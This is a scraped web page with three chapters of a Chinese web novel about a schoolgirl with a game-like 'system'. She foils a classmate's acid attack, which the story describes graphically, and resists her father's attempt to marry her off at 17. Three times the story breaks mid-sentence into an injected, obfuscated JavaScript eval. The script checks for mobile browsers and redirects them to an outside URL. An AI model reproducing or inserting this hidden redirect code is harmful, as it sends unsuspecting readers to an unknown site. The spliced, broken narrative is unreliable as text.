她没忘记她说出那句话后，同桌露出的愕然神色。那时她在想，只是看18X本子而已，又没伤害到任何人，为什么要做出这么大的反应？ 弄得看本子像是什么罪大恶极的事一样。 然而，一昧维护看本子自由的她忽略了最重要的信息—— 赵宏和秦飞哲想看的，不是一般本子，而是把真人画进去羞辱的本子，还是真人和狗配对的本子！ 他们羞辱陆晨曦！ 她却没有意识到陆晨曦被羞辱，竟说出为赵宏二人开脱的话。 对陆晨曦来说，她犹如叛徒，所以陆晨曦愤怒无比，崔皓月也觉得她不对劲。 这会儿，陆晨曦在生气，同桌崔皓月在注视她，等待她回答问题。她要怎么回答，才能挽回自己在崔皓月心中的印象，让彼此的关系恢复如初？ 如果她答错，崔皓月很可能会离她而去，甚至陆晨曦也不愿意跟她和好。 骤然之间，自己与两位好朋友的友谊濒临破裂，晏北回后悔到极点。 她恨自己管不住嘴，不懂察言观色。 陆晨曦都那么愤怒了，她做了什么孽，非要说那句该死的话，害得两个好朋友反感。 赵宏不是她的谁，她跟猥琐的秦飞哲更是一句话没说过，她肯定是鬼迷心窍了，才会替他们俩说好话！ 都怪赵宏！都怪秦飞哲！他俩不看本子是不是会死？ 该死的男生群，天天发骚，总是聊带颜色的本子，搞得她把看颜色本子当成能公开讨论的爱好，现在即将痛失两位好朋友！ “北回？”崔皓月见她魂不守舍，叫她名字。 晏北回回过神来，想起崔皓月的问题，恨恨地给出答案：“不正常！看本子无所谓，18x本子也能看，但要看真人和狗的18X本子纯粹是脑子里有病！赵宏又毒又坏，秦飞哲更不是好东西，他们活该遭报应！” 她把男生群的见闻一股脑讲了出来，不忘抱怨：“群里乌烟瘴气，一堆男的估计又穷又丑性格还讨人厌，现实里没有女生肯接近。一旦群里有个女的显露身份，他们就兴奋地凑上来挑逗人家，给个一毛几块的红包哄妹妹开语音，总之就是渴女又下流！” 上课了，上的是数学课。 老师拿着卷子进来，开口就夸班里有一位同学进步迅猛，然后拿起试卷念分数：“崔皓月，145分！让我们恭喜她！这次月考，她的数学考了全班第四名！” 讲台下，陆晨曦和晏北回几乎同时鼓掌，别的同学也跟着鼓掌，发出哗声。 数学是最好估分的，崔皓月对分数有预测。 但听到自己考了全班第四，她依然又惊又喜，望着老师的明亮双眼里透露着几分疑惑：真的吗？真的吗？数学真的考了全班第四名？ 老师笑眯眯地朝她递了递卷子，她连忙离开座位，上讲台领取试卷。 等到试卷发完，老师说：“你们大部分人的成绩让我失望，题目都是简单的，为什么拿高分的少？放假的时候你们都在干嘛？光顾着数压岁钱了，没空翻开数学书看一看吗？” 数落完学生，老师才开始讲题目。 好不容易数学课结束，陆晨曦来找崔皓月：“走，上厕所去！你这次考得可以，比我少了1分，差点就赶上我了，让我好紧张。” 她看也不看晏北回一眼。 崔皓月给了晏北回一个眼神：还不道歉？ 晏北回：“……” 为了友谊，晏北回不情不愿地起身，对陆晨曦说：“晨曦，我错了，我道歉！对不起！我知道我的话伤害了你，你是我的好朋友，我下次绝对不会站在别人的角度思考！” “哼！”陆晨曦双眼一翻，看着天花板说，“谁先提的绝交来着？” “是我，都是我，我真的错了！”晏北回嬉笑着抱住陆晨曦，下巴亲昵地放在她肩膀上，摇着她撒娇，“你就原谅我嘛！人非圣贤，孰能无过，你说是吧？” “好吧，我的脾气有些冲了，我应该冷静一些跟你谈，而不是问罪你。”陆晨曦垂下眼帘看向晏北回，“去上厕所？” 三个好朋友手牵手上厕所，仍然是牢不可破的友谊。 第二堂课是语文，试卷还没批改完，班主任陈若龙坐在讲台上批改，学生在她眼皮子下自习。 课后，陈若龙把崔皓月叫到走廊，告诉她：“你爸妈给我打电话，要学校给你办退学，我没同意。” 家长竟然纠缠班主任！ 崔皓月心里咯噔一下，连忙向老师道歉：“对不起，我不知道他们骚扰您！” 陈若龙摆手：“不必道歉，有错的人不是你。我拉黑他们了，你呢，这段时间别离开学校，平时多注意点，你爸妈要是来学校打扰你，你直接跑，能找老师找老师，找不到老师找学校里的保安！” 她打开手机给崔皓月发了两个号码：“这是保安的电话，尾号4的姓崔，跟你同姓，之前在部队里服役。尾号9的姓杨，心肠挺好。有事你就打电话给她们，千万不要嫌麻烦。” “好的，老师，我知道了。”崔皓月保存号码，不知怎的起了童心，当场摆出一个练武的姿势，对陈若龙笑，“老师，其实我也会武功，我很厉害的！” 陈若龙不禁一愣，瞧她姿势摆得有模有样，以为她上网学的，也笑了，摸了摸她的头：“嗯，老师相信你会两招。不过，学校的保安负责保护你们，你还是认真学习比较好。网络上有很多新奇的东西，你考上大学可以随便玩手机，现在呢，学习最重要，少上点网……” 话都是常听的，崔皓月认真听了，心里暖洋洋。 老师真的很关心她，很在意她，能遇到这位负责任的老师，她实在太幸运了。 陈若龙走了，崔皓月掏出【恶意预测眼镜】看她，她身上缠绕的恶意很淡，大多数人也都是这样的。 戴着眼镜，崔皓月回到教室，打算通过镜子看自己身上的恶意。 进门时，她不经意间看向班级里的同学，发现张浩文被黑红色的恶意包围其中，连面目都被恶意模糊了。 谁对他有这么大的恶意？ 她循着恶意追溯源头，竟然是黄鑫？ 这俩上学期不是惺惺相惜吗？怎么新学期没几天就闹翻了？ 他们的矛盾与她无关，她懒得管，目光扫向晏北回，再看向陆晨曦。 忽然，一股强烈的恶意如潮水汹涌而至，瞬间淹没陆晨曦，崔皓月猛然顿住。 透过奇异的【恶意预测眼镜】，她看到陆晨曦被李金元泼了硫酸，脸上身上立刻冒出白烟，五官被硫酸融化…… “啪——” 眼镜从她脸上掉落，镜片碎了，眼镜框也摔碎了。 【你使用了恶意预测眼镜，该道具已损毁】 系统发出提示。 崔皓月的大脑空白一片，头嗡嗡的响。 听得提示声，她低头看损毁的眼镜，迅速收回目光，大步走向陆晨曦，想告诉她，李金元准备朝她泼硫酸。可是话到了嘴边，她没有说出口。 该怎么说？ 陆晨曦并不知道她有预测恶意的神奇道具，若是陆晨曦问起，她怎么解释？ 崔皓月并不想对陆晨曦撒谎，系统的存在亦不能透露分毫。 她问陆晨曦：“李金元是几年级几班的？” 陆晨曦奇怪：“问这干嘛？” 崔皓月指着窗外的实验楼，面不改色地撒谎：“刚才我好像看到李金元上化学实验课，我想起一个新闻，有个男的在实验室泼硫酸害人。” “他应该没那胆量吧？”陆晨曦的神色严肃了点，“他爸装修干得不咋滴，开的车住的房子挺讲究的，我妈说他爸还买了新别墅，他不至于干违法犯罪的勾当吧？” “万一呢？”崔皓月继续编谎言，“李金元去上课时，脸色好像很难看。” “那我问一下我妈。” 从好朋友身上，陆晨曦感受到前所未有的担忧和恐惧情绪。 她不清楚好朋友为何会这样，下意识地，她决定以慎重的态度对待。 电话打通。 “妈，是我，那个姓李的秃头装修老板最近是不是发财了？他儿子竟然有信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447590|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心找我表白，要我做他的女朋友！……哼哼，我当然没有答应，我挑男人的眼光你能不相信吗？……行，被抓是吧，我明白了……” 挂断了电话，陆晨曦看向崔皓月，神色复杂：“李金元他爸，今天上午被抓了。我妈说他诈骗了几百万，资产已经被冻结，李金元阔不起来了。” 穿鞋的怕光脚的，李金元遭遇家变，什么都没了，还欠了很多债，说不定真会干违法犯罪的事。 恶意预测眼镜只能预测恶意爆发的一瞬间。 崔皓月不知道李金元何时搞到的硫酸，何时何地作案，她不敢离开陆晨曦去找李金元，接下来的课上得一惊一乍，时不时回头看一眼后座的陆晨曦。 晏北回忍不住笑她：“不知道的肯定以为你是女同，在跟晨曦谈恋爱。” 崔皓月送了她一个白眼，小声说了李金元的家变。 晏北回幸灾乐祸，并没有从这件事中嗅到什么，笑呵呵地说：“看他不顺眼好久了，有几个臭钱就一个劲显摆，看他以后还怎么显摆下去！哈哈，破产好，破产妙，可惜被诈骗的人，钱拿不回来。” 午饭无事发生。 即将午休时，有个陌生女生跑到宿舍外，喊道：“你们谁是陆晨曦？李金元在楼下等你，有很重要的话跟你说，希望你下去见他。” 陆晨曦坐在床上剪指甲，懒得理会。 他李金元是什么人物，能让她亲自去见他？ 传话的女生走了，崔皓月乐得陆晨曦不去见李金元。 谁知李金元在三分钟后竟然来到她们宿舍门口，哀求陆晨曦出去跟他说两句话。 “快点打电话给舍管阿姨！”崔皓月催促晏北回，“待会儿我和晨曦出去见他，你躲在床上悄悄拍录像！” 晏北回的床位贴着窗户，在床上能透过窗户看到宿舍走廊。 她不知道崔皓月和陆晨曦有什么打算，反正打电话和录像她是答应了。 陆晨曦还在穿拖鞋，崔皓月走到门口观察李金元。 他穿着大衣，一只手藏在兜里，另一只手焦躁不安地抚弄衣角，目光躲闪，脸色潮红，心跳特别急，让人一看就知道他精神状态不正常。 硫酸藏在他的衣兜里？ 崔皓月悄然使用【武道家LV1】，眼神立刻变得锐利起来。 她用武道家的视角打量即将发生战斗的环境，打量唯一的对手李金元，打量来到门口的陆晨曦，心里模拟战斗过程。 李金元心不在焉，没注意到崔皓月，看见陆晨曦出现，脸上霎时有了光彩：“晨曦！” “叫我陆同学，我跟你不熟。”陆晨曦倚着门框，懒洋洋地说，“潜入女生宿舍也要找我说话，你真是无聊。” “我……我想见你。”李金元看着陆晨曦，她还是那么漂亮，穿着昂贵的衣服，个子高挑，身材如走秀的模特，哪怕是嘲弄的表情，在她脸上也那么有魅力。 他没见过比她更好看的同龄人，也没有见过比她更优秀的同龄人。 她是天上的太阳，光芒四射，未来不可估量。 而他，是诈骗犯的儿子，欠债几百万，一辈子都很难翻身。 他凝视她，痴痴地说：“我喜欢你，求你让我做你的男朋友，可以吗？求求你了！” 陆晨曦笑了：“我也求求你，别纠缠我，即刻滚出女生宿舍楼！” 好冷漠！好无情！ 陆晨曦从来不是什么温暖的小太阳，她照耀你，灼伤你，不允许你过多接触。 何必寄托希望于这个贱人！ 李金元的表情变得冷漠，他仍抱着最后一点希望：“你对我，真的没有一丝喜欢吗？” “喜欢你什么？”陆晨曦审视他，“你这样的男生太常见，太普通，没有任何能够吸引我的特质。” “哈，哈哈！”李金元笑起来，自嘲道，“我追求你，在你看来就是个笑话！” 说完他便掏出藏在兜里很长时间的浓硫酸，快速拧开盖子，将浓硫酸泼向陆晨曦的脸，露出报复得逞的狰狞笑容。 他已经什么都没有了，贱人陆晨曦也要失去一切！ 30.爸爸 一直被李金元忽略的崔皓月动了。 技能【武道家LV1】令她获得超乎想象的战斗本能，李金元不过是个打篮球的普通男生，浑身遍布破绽。在他掏出装着浓硫酸的玻璃瓶，拧开盖子，准备泼硫酸的那一刻，崔皓月一拳打中他。 受到攻击，李金元下意识地松开手指，玻璃瓶甩到空中。 紧接着，李金元被踹中膝盖，整个人失去平衡，与玻璃瓶一同摔向大地。 玻璃瓶在空气中旋转，浓硫酸从瓶口涌出，就像崔皓月用战斗本能预测的那样，泼向李金元，洒在他的脸上。 随后，硫酸瓶在地上摔碎，摔倒的李金元正处于流淌的硫酸中。 他的皮肤被硫酸腐蚀得冒出了白色的烟气，皮肤在硫酸的作用下融化，眼皮不见了，肉变得焦黑，散发怪异的气味。他痛苦哀嚎，在流淌着浓硫酸的地面上挣扎，手被硫酸腐蚀，被锋利的玻璃碎片割破。 看着这一幕，陆晨曦惊呆了。 “扑通——” 窗后拍录像的晏北回也惊呆了，手机从手中掉下来，砸在她的腿上。 门口窥视的舍友们、临近宿舍看热闹的女生们也呆呆地看着李金元在硫酸中翻滚，不知是谁先尖叫，更多尖叫声传遍走廊，继而响彻宿舍楼。 唯有崔皓月冷静无比，毫不怜悯地瞧着李金元在硫酸作用下面目全非的脸，想起恶意预测眼镜让她看到的画面，心中只觉得快意。 她遗憾现在不是炎热的夏季，若是李金元穿夏装，他在地上翻滚，玻璃碎片和浓硫酸会让他吃到更多苦。 威胁好朋友的人已经失去战斗能力，她终于可以放松了。 崔皓月带着笑，转过头，满意地看着毫发无损的好朋友陆晨曦。 陆晨曦猛地抓住她，将她拽到自己身边，然后砰的一声重重关上宿舍门，将李金元挡在宿舍外。 陆晨曦的心脏在身体里狂跳，紧紧搂着崔皓月：“嗬！真是吓死了我！他爹屁/眼里蹦出的李金元！竟然真的要用硫酸来害我！幸亏有你！幸亏有你！呜呜，他真是吓死我了，幸好你在我身边保护我，呜呜呜……” 惊吓让她变得语无伦次，埋在崔皓月的颈窝里呜呜哭：“你救了我！你是我这辈子遇到的最好的朋友！呜呜，你哪来的胆子推开他啊！万一他把硫酸泼到你身上怎么办？” 崔皓月拍了拍好朋友的背，温和地说：“没事了，我说过，我学了武术，我有把握……” …… 男生潜入女生宿舍楼！ 随身携带危险物品浓硫酸！ 表白被拒绝后，该男生掏出硫酸泼向无辜的女方，意图让女方毁容甚至死亡！ 幸在女方的舍友兼好友身手敏捷反应快，及时出手阻止男生！ 歹毒男生泼硫酸不成，自食其果，被浓硫酸浇在自己脸上，疼得满地打滚，目前被救护车送往医院抢救。 …… 新闻飞快地传遍女生宿舍楼，又传遍了男生宿舍楼，整个校园都知道了。 有个男生潜入女生宿舍泼硫酸，结果自己把硫酸泼到自己身上，送去医院急救了。 午休是休不成了，大家不能在宿舍里聊天，跑群里聊，还有人把新闻上传到网络上，舆论迅速发酵，变成当日热搜。 班级群里，大家讨论事件，平时不怎么说话的几个老师也现身吃瓜。 关系到自己的学生，回到家还没吃饭的班主任陈若龙心急火燎地赶到学校里，在宿舍里见到两位完好的学生，才松了一口气。 午饭没法吃了，事情已经上了网，学校领导们要她到会议室商议怎么处理。 舍管高强度巡逻宿舍，学生们被迫睡觉。 崔皓月打了个哈欠，用手机看群里的同学聊天。 秦飞哲：“你是不是干了对不起李金元的事？不然别人怎么会跑到你宿舍泼硫酸？这下他人毁了，真可怜。@陆晨曦” 张浩文：“表白失败恼羞成怒罢了，李金元拿着三块四毛的玫瑰花求爱，也不嫌寒酸！” 赵宏：“听说李金元被省体育队的人看中，这回啥都没咯！” 陆晨曦：“@秦飞哲 @赵宏可怜李金元你俩可以去医院做陪护，你们这么关心他，他知道了一定会感动到向你们求婚，你们三个可以快乐地过一辈子！” 晏北回：“@秦飞哲 @赵宏可怜李金元你俩可以去医院做陪护，你们这么关心他，他知道了一定会感动到向你们求婚，你们三个可以快乐地过一辈子！” 张浩文：“哈哈哈哈哈，好主意！” 当完复读机晏北回还要发言：“@秦飞哲 @赵宏你俩这么同情罪犯李金元，是不是也藏了浓硫酸打算害同学？” 陆晨曦：“说不定呢？哪有正常人不同情受害者，可怜罪犯的？大家得提防赵宏和秦飞哲，不然你们遭殃了可不像我这么好运，能躲过一劫！” 同学大多是善良正义的，陆晨曦发话，大家一致谴责赵宏和秦飞哲，质问他们为何共情罪犯李金元。 真是恶心的人！ 崔皓月心想，自己的同班同学差点被泼硫酸，他俩不关心，竟关心泼硫酸的陌生罪犯。 跟他俩同一个班真是倒楣。 她有点困，把手机放在一边，闭眼午睡。 午休后去教室上课，在第一堂课上到一半的时候，崔皓月的爸爸徐峰带着四五个陌生人来找她。 也是巧，在徐峰出现前，任课老师特地带崔皓月和陆晨曦去办公室，说待会儿警方和记者都会来学校了解李金元泼硫酸事件的始末。 陆妈妈也在办公室里，见到陆晨曦就搂住她仔细打量，问她还怕不怕。 除了上课的老师，别的老师全到齐了。 徐峰出现时，办公室里所有的人都盯着他，让他很不自在。 “婷婷，你出来！”徐峰叫道，“爸有事跟你说。” “我改名了，我不叫婷婷。”崔皓月没有动，看着外表熟悉又陌生的父亲，他竟然知道她在哪个班级，还来找她。 班主任陈若龙说他来找她没好事，她刚经历了李金元泼硫酸事件，现在冷静得很，见到徐峰也没有紧张，随手招了招：“有事进来跟我说吧。” 这漫不经心的语气！徐峰听得恼火。 老子特地找你，你来主动见老子都做不到！ “你出来！”徐峰加重了语气。 崔皓月没理会他。 徐峰还想喊她，见办公室的老师投来谴责的目光，他讪讪地闭了嘴。 在大城市打工几十年的他，并没有混成大人物。 老家还是漏水泥砖房呢。 学校的老师都是有文化的体面人，令徐峰心里生了三分怯意。 他带着四五个同伙进了办公室，对崔皓月说：“爸准备给你买个房子住，你别读书了，以后做生意，赚大钱！” 买房子？崔皓月不信：“你连生活费都没有给过我一毛。” 徐峰有些尴尬：“那是从前，现在不一样，你是我的亲女儿，我能亏待你吗？” 说完，他指着四五个人里最年轻那个：“来认识一下，这是林和成，长得帅气，家里有钱，做生意的，比你年长九岁，还没结婚呢。” 他问林和成：“怎样？我女儿不差吧，皮肤白，成绩好，要是打扮一下，漂亮着呢，多的是人喜欢。” 林和成皮肤黝黑，红红的鼻子长着黑头，并不帅气，反而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14456767|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有点丑。他染着黄毛，纹身的手指里夹着一支刚点燃的烟，肆无忌惮地打量坐着的崔皓月。 17岁的女高中生，年龄和相貌他都很满意，个子娇小可爱，气质也不错，可是她这表情、这坐姿是不是有点拽？ 感觉不好拿捏，不怎么老实，也不是胆小的。 林和成皱眉，冲崔皓月说：“喂！你爸来找你，你咋不站起来说话？这么不孝顺？” 崔皓月冷冷地看他们：“你们是谁？” 徐峰带这么多人来学校，也不知道打的什么坏主意。 不知为何，前几天见到李金凤，她的情绪还有点起伏，此时见到徐峰，她只觉得他看起来跟张浩文的爸爸差不多，鼻子不会泛酸，眼睛不会涌出怯弱的泪水。 她没有妈妈，更没有爸爸。 过去给予爸妈的感情滤镜消失了，他们触动不了她的情绪。 黄毛林和成抱着手痞笑一声：“我是你老公！你爸把你嫁给我，彩礼都拿了，就等着去民政局领个结婚证，摆酒请客。” 老公？彩礼？嫁给他？ 饶是崔皓月的【智力】属性高达10点，也没有立刻反应过来黄毛说了什么。 但她很快理解他的意思：她爸等不及她考大学，或者她爸觉得她大学毕业后不会把钱给家里，总之，她爸为了彩礼把她卖掉了！ 黄毛是买家，她爸带买家来学校找她看货！ 太荒诞了！崔皓月属实想不到徐峰会有这么离谱的操作，她被气得笑了：“徐峰！我才17岁！还没成年！在法律上我根本没到能结婚的年龄！” “17岁怎么了？我跟你妈十六岁就在一起了！”徐峰伸手拽崔皓月，“你起来，好好地跟你老公说话！村里和你同一年出生的慕娣去年就嫁人了，现在孩子都生出来了，你咋就不能跟人结婚？” “结婚证可以过几年再领，摆酒了就是两夫妻了。”黄毛旁边的中年男人笑着说，“我家和成年纪不小了，急着要个孩子传宗接代，今天晚上就洞房吧，我找酒店定个大房间！” 崔皓月挥开徐峰的手，站起来，跑向来到办公室门口的陈若龙：“老师！” 徐峰和黄毛要捉她。 但她力气特别大，动作特别灵活，他们根本抓不住她。 尽管崔皓月得到【武道家LV1】的时间很短，并没有学到多少武功，可是这个技能将她每日坚持锻炼的身体变得更强，也许她一个人打不过他们，跑掉却是轻松。 跟陈若龙一起到办公室的，还有警方和记者们。 陈若龙一眼便瞧见徐峰等人，抬起手将跑来的崔皓月护住，低声问她：“你爸？” 崔皓月点头，指着黄毛说：“我爸找我，要我嫁给他！不准我读书！但我才17岁，马上就要高考了！” 记者们悄悄地竖起耳朵。 17岁少女即将高考，却被家长逼着嫁人，这个新闻没准也能上热搜榜单，狠赚一笔流量呢！ 这时，陆晨曦拉着陆妈妈过来。 她放开陆妈妈，挽住崔皓月的胳膊，大声对陆妈妈说：“妈！皓月是我的救命恩人！要不是皓月在我身边，冒着被泼硫酸的危险阻止李金元伤害我，指不定我就毁容了！甚至我的命都有可能保不住！” 记者们立刻兴奋起来。 这就是李金元泼硫酸案的当事人！另一个当事人正在被家长逼着嫁人！ 两条大新闻！ 双爆！ 这千载难逢的新闻热点必须牢牢把握住！ 警方代表是一位中年女士，身材魁梧，高大威猛，带着几位下属。她扫一眼面露惶恐的徐峰等人，问道：“怎么回事？谁逼迫17岁的高考生放弃学业嫁人？” 31.为何共情恶人 没料到警察会出现，徐峰很慌张。 他还看到记者，以及几个正在拍他的摄影师，这让他更慌张了，连忙给女儿使眼色：“婷……皓月！崔皓月！爸是来探望你的！” 原来她爸知道她改名了啊？ 崔皓月挨着陆晨曦和陈若龙，审视着徐峰。 明知她为什么改名还故意叫她婷婷，她爸得是多恨她！ 她爸的表情这么心虚，看来也是知道他逼迫她辍学嫁人会遭到世俗谴责，现在警察和记者都在盯他，他是继续逼迫她嫁人，还是改主意？ 想起李金凤被自己轻轻地打了一巴掌后，再也无法维持温和的表象，崔皓月便觉得徐峰没有胆量作恶到底。 他害怕了！ 可靠的警察阿姨在场，关心她的老师、好朋友也在，崔皓月不可能顺从徐峰。 她指着徐峰对警察阿姨说：“他是我爸，亲爸，要求我辍学嫁人！我才六个月大他就把我丢回老家交给奶奶抚养，生活费没给过我一毛，过年也不见得回家一次。我初中是在镇上读的，考上一中他也不让我上，要我进厂打工！” 警察女士皱起眉：“哪有这样当爸爸的？乡镇考一中可不容易，你在初中学校里应该是前几名吧？” 偏偏他就是这样的爸爸！ 崔皓月想起一件事，她爸跟她说，只要她考上县城一中，他会送她一个苹果手机。 然而，当她考上一中，别说承诺给她的手机，就连入读一中都得百般哀求，他才不情不愿地点头允许。 妈妈说，送手机是爸爸开玩笑，只有她傻傻地当真了。 奶奶说，读书要什么手机，爸爸赚钱不易，当女儿的要体谅。 那时崔皓月很委屈。 她不理解，既然承诺的事无法做到，为什么要轻易地许下诺言？ 因为她是孩子，她爸就能出尔反尔吗？ 警察女士在等她说话。 崔皓月收回思绪，继续说：“我不记得我是第几名，我求了我爸好久，他也不许我继续读高中。后来我说，我读高中考大学，毕业了能赚很多钱，我的初中老师也打电话劝他，我才能来到一中读书。” 初三班级上应该有几个同学考上了一中。 同村的小伙伴都在别的高中。 她不回乡镇，之前也没有手机或网络联系方式，现在要和她们重新建立联系吗？ 想到徐峰口中已经嫁人生娃的慕娣，崔皓月说不清心里的感受。 慕娣没读高中，她跟慕娣小时候关系不好，上小学了彼此之间才亲近一些。 在她的印象中，慕娣很爱惜书本，她的书会卷边，会折页，但慕娣的书保存得很好，慕娣还教过她如何给书裹上一层保护纸。 她是惋惜慕娣17岁就嫁人生娃的人生，还是庆幸自己当初坚持读高中？ 或许，二者皆有。 崔皓月简单地讲了自己高一高二的拮据生活，说弟弟那双五百多块钱的球鞋，说食堂里吃了两年的青菜豆腐，接着说徐婷婷这个名字的由来。 如今的她，可以坦然面对过去。 可以安然地被别人注视，沉稳地讲述想说的、要说的话。 像陆晨曦那样从容，不再害怕出丑，不再害怕犯错。 她已经成长了。 记者们听着她说，激动不已。 若非警察拦着，他们肯定要深入地采访崔皓月。 留守儿童！重男轻女！多好的社会题材啊！ 崔皓月讲完，陈若龙补充：“这孩子的中考成绩放到市里能排到前一百名，奈何家长不肯给生活费，伙食费也按最低标准交，把孩子折腾得不轻，成绩一直退步。幸好这孩子争气，从上学期开始努力，现在的成绩进步了，指不定能上一流大学。” 豁！小姑娘的人生还包括了学霸变学渣，又从学渣逆袭到学霸的戏码！ 很励志！ 要是高考真的考上一流大学，没准还能割一回流量。 这时，陆晨曦也开口了：“我这位好朋友很厉害，上个学期，班里的臭男生给她起了难听外号。她那样羞怯的一个人，当场难过得掉眼泪，但她绝不吃亏，硬是让臭男生当众向她认错道歉！” 生怕一中染上纵容校园霸凌的恶名，校领导赶紧强调：“我们学校的纪律很好，绝不容忍校园霸凌！” 被陈若龙轻轻拍了下，陆晨曦见好就收：“总之，皓月从前很内向，现在她变得很坚强，谁都别想欺负她！李金元泼我硫酸我都吓呆了，皓月的反应却那么快，她救了我！她是一个特别优秀的人，绝对的三好学生！” 一边说，她一边拿手机播视频：“看，这就是过程！皓月超勇！像神一样未卜先知，蠢材李金元根本伤不到我俩一根头发！” 校领导并不希望视频外传，奈何警方在场，出了名疼爱女儿的陆妈妈也在，李金元泼硫酸案的热度根本压不住。 不幸中的万幸是崔皓月没有受伤，只有李金元自食其果。 否则这事怎么解决都不知道呢。 警察女士接过手机，一下子看出玄妙。 怎么视频里的崔皓月看起来像是个练武之人？ 她瞟了一眼身旁的崔皓月，普普通通的一个女生，看不出练过武的痕迹。 大约视频里的是巧合吧。 恶人自作自受，没有一个无辜者受到伤害，警察女士很满意这个案件的发展。 如果可以，她希望世间所有案件都是恶人遭到应有的报应。 来学校之前，警察女士去医院看过李金元。 他毁容了，一只眼睛瞎掉了，喉咙被硫酸烧出一个洞。 那样可怕的伤势，若是出现在陆晨曦或崔皓月身上，光是想象，警察女士都觉得残忍。 仔细地了解了案件的经过，警方作笔录，警察女士把崔皓月训了一顿。 李金元可是拿着硫酸的，她还敢动手，万一有个不妥，她被硫酸泼在身上怎么办？ 保护朋友的前提是保护好自己！ 崔皓月抿唇，不服气：“我不希望晨曦受伤！她是我最好的朋友！之一！” 想到同桌晏北回，她及时添上两个字。 陈若龙也心惊：“知道你跟她要好，但是，你得考虑考虑自己，下次可别这么冲动！” “嘻嘻！”陆晨曦美滋滋的，抱住崔皓月一阵晃，“喜欢你！超喜欢你！我们是生死与共的交情！我们必须好一辈子！” 陆妈妈笑眯眯地看，为女儿交上真心朋友感到高兴。 “真是令人羡慕的友情。”警察女士感叹一声，对陆妈妈说，“阿鸿，你可得好好地感谢人家。” 陆妈妈点头：“当然。” 办公室里，一些人露出羡慕的表情。 谁不知道陆妈妈疼爱陆晨曦？ 崔皓月救了陆晨曦，就算成绩差到考不上大学，陆妈妈也会让她飞黄腾达。 怎么这人情落不到自己身上呢？ 校领导心里叹气，为了给陆妈妈一个好印象，看着陆晨曦道：“晨曦，以后你跟人说话要委婉些，尽量别让人生气。李金元就是个例子，你好声好气拒绝他，他心里没那么难受，说不定不会对你做出那样出格的举动——” “话是不能这样说的。”警察女士打断他，“恶人会干坏事，是因为他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464128|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏，不是因为好人说话不够委婉！假设我觉得你说话难听，我朝你泼硫酸惩罚你，你能接受吗？” “这、这当然不能接受！”校领导也见过李金元的惨状，急忙摇头。 “你自己都不接受的事情，你怎么能劝人家接受？”警察女士好心教育校领导，“对恶人恶行多点谴责，对受害者少点苛刻，世界会更美好。” 崔皓月望着校领导。 他要求陆晨曦说话委婉，是在共情李金元吗？ 她不够聪明，听不懂他表达的意思。 但是她听得出，他站在李金元的立场，似乎陆晨曦只要友好地对待李金元，李金元就不会朝陆晨曦泼硫酸。 反过来说，陆晨曦态度恶劣，李金元朝她泼硫酸似乎是她该得的下场。 崔皓月明白警察女士为什么打断校领导的话了。 校领导的话听起来像是在为陆晨曦考虑，实际上，校领导跟赵宏、秦飞哲一样，都同情恶人李金元。 只是，赵宏和秦飞哲用直白的话表达同情，令人一听就对他俩反感。 校领导表达的同情却非常含蓄，不敏锐的人很难察觉。 她不懂，为何他们如此共情恶人。 因为作恶的李金元受伤了，她和陆晨曦没有受到伤害吗？ 应该不是的，毕竟警察女士完全不同情李金元。 校领导不太高兴地说警察女士讲得对，拍着胸膛保证一定做好校园安保工作，邀请警方派人来学校进行安全知识教育讲座。 警察女士微微颔首，目光投向被堵在办公室里出不去的徐峰等人。 他们想悄悄离开，她不允许，于是他们在办公室里留到现在。 此时被她关注，几个男人立刻焦躁不安起来，仿佛一群行窃被抓的小偷。 哈！敢逼迫17岁高考生辍学嫁人，不敢面对警察！ 警察女士不想放过他们，告诉下属：“逼迫高考生辍学嫁人属实离谱，必须把他们带回局里，严厉地批评教育一番！” 于是，徐峰等人满面苦涩地上了警车，去警察局接受党和国家的批评教育。 记者们还没走，想采访崔皓月和陆晨曦，被陆妈妈带来的保镖拦住。 上新闻这事讲究着呢，可不能任由记者乱来。 陆妈妈还带来一位很擅长对付媒体的律师，要求记者们必须给陆晨曦、崔皓月的面部打码，而且要厚码，不能让人看出容貌特征。 名字也不能用真名，必须用化名。 除此之外，新闻不得使用“一女生拒绝男生求爱被泼硫酸”这种刻意强调受害者、隐藏罪犯的缺大德标题，写的文章也不能让人看了便同情泼硫酸的李金元…… 律师拿出考虑周全的合同。 在保镖们的注视下，记者们乖乖签字，心里暗骂陆妈妈多事。 写个新闻都那么多规矩，他们吸不到流量怎么办？ 事实证明他们多虑了。 才下午五点，李金元泼硫酸案的采访文章便在网上发表，立刻引爆热搜，一切事件皆为之让步。 各媒体轮番下场，贪婪地收割流量。 网友们为这起恶性事件震惊。 